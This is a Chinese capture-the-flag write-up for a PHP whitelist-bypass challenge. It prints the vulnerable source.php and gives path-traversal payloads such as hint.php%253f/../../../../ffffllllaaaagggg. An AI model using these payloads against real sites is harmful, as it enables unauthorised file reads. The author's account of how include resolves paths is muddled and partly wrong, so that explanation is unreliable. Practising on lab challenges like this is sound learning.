首先先查一下網頁元素
發現,里面提示是有一個源碼的,,,,在url后面加上/source.php(執行腳本語言被服務端執行並返回頁面)
訪問之后得到源碼
<?php
highlight_file(__FILE__); $whitelist 是白名單,可以執行,有響應,大概就是這個意思。
class emmm
{
public static function checkFile(&$page) ////在這里定義了一個我看懂的函數,大概是檢查的作用
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"]; !!!!!!!這里明顯標注了還有一個hint.php文件
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false; !!!!!!檢查是不是為空; 判斷是不是字符串 ;判斷是否符合上面那個函數定義的要求
}
if (in_array($page, $whitelist)) {
return true;
}
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false; !!!!!!!!!!中間都是判斷輸入是否符合哪些條件,用來輸出flag
}
}
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file']) !!!!!!!!!!!!!
($_REQUEST 是通過 GET,POST 和 COOKIE 輸入機制來傳遞參數,下面偷懶就用get方式傳值)
!! 例如 http://111.198.29.45:48818/source.php?file=source.php?(payload)
!! 例如 http://111.198.29.45:48818/source.php?file=hint.php?(payload)
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />"; //這里就是輸出網頁上那個圖片的源碼
}
?>
接下來就是看懂這一段源碼,里面提示了是有一個hint.php文件的
接下來再訪問一下
得到 flag not here, and flag in ffffllllaaaagggg
接下來是要構造payload ,這里要使用到include函數
ffffllllaaaagggg是在hint.php中發現的,顯然flag在這個文件里。其實文件名提示了我們要使用四層目錄,(使用幾層目錄,純粹是試出來的,不懂別人是怎么知道四層的)
?file=hint.php%253f/../../../../ffffllllaaaagggg (這樣也是可以繞過檢查得到flag的,只是里面的%253f不懂是什么,可能是PHP語法之類的,還沒學)
運行一下就可以得到flag
正常的?就可以,不用編碼,這是include的一個特性
如果include包含的文件中含有路徑,就會包含最后一個/后面的文件,因此直接構造payload:source.php?file=hint.php?/../../../../../../ffffllllaaaagggg
本來是會包含hint.php文件的,但是后面出現了../,就包含了最后面的ffffllllaaaagggg
有多少../ 在哪一層目錄完全是可以自己去試出來的。
include函數有這么一個神奇的功能:以字符‘/’分隔(而且不計個數),若是在前面的字符串所代表的文件無法被PHP找到,則PHP會自動包含‘/’后面的文件——注意是最后一個‘/’。